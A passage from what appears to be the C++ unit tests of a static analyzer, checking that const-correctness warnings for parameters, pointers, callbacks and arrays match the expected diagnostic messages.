g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n 